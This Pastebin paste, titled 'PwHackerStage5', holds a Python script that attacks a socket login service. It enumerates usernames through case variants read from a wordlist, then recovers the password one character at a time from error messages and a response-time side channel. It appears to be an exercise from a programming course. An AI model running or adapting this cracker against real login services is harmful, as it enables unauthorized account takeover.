Advertisement
MeowalsoMeow

PwHackerStage5

Jun 5th, 2021
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. import datetime
  2. import sys
  3. import socket
  4. import itertools
  5. import json
  6. import string
  7. import time
  8. from datetime import datetime
  9.  
  10.  
  11. def get_name_variants():
  12. name_vars = []
  13. with open(r"C:\Users\linyu\Downloads\logins.txt", 'r', encoding='utf-8') as f:
  14. names = f.read().strip('\n').splitlines()
  15. # print(names)
  16. for name in names:
  17. _vars = map("".join, itertools.product(*zip(name.upper(), name.lower())))
  18. for _var in _vars:
  19. name_vars.append(_var)
  20. # print(name_vars) correct variants
  21. return name_vars
  22.  
  23.  
  24. args = sys.argv
  25. ip = args[1]
  26. port = int(args[2])
  27. address = (ip, port)
  28. with socket.socket() as client_socket:
  29. client_socket.connect(address)
  30. # get name
  31. lis = get_name_variants()
  32. login = ""
  33. for i in lis:
  34. only_name_json = json.dumps({"login": f"{i}", "password": ""})
  35. client_socket.send(only_name_json.encode())
  36. test_name_reply = json.loads(client_socket.recv(1024).decode())
  37. if test_name_reply["result"] == 'Wrong password!' or test_name_reply["result"] == 'Exception happened during login':
  38. # print(f"log in name is {i}")
  39. login = i
  40. break
  41. # get pw
  42. # print(login)
  43. symbols = string.printable
  44. password = ""
  45. while True:
  46. for x in symbols:
  47. password = password + x
  48. # start = time.perf_counter()
  49. start = datetime.now()
  50. client_socket.send(json.dumps({"login": f"{login}", "password": f"{password}"}).encode())
  51. test_pw_reply = json.loads(client_socket.recv(1024).decode())
  52. # end = time.perf_counter()
  53. end = datetime.now()
  54. dur = end - start
  55. if test_pw_reply["result"] == "Connection success!":
  56. print(json.dumps({"login": f"{login}", "password": f"{password}"}))
  57. sys.exit()
  58. elif test_pw_reply["result"] == "Wrong password!" or test_pw_reply["result"] == "wrong password!":
  59. password = password[:-1] # Remove the wrong symbol
  60. elif test_pw_reply["result"] == "Exception happened during login" or dur.microseconds >= 90000:
  61. break # Keeping the symbol
  62.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement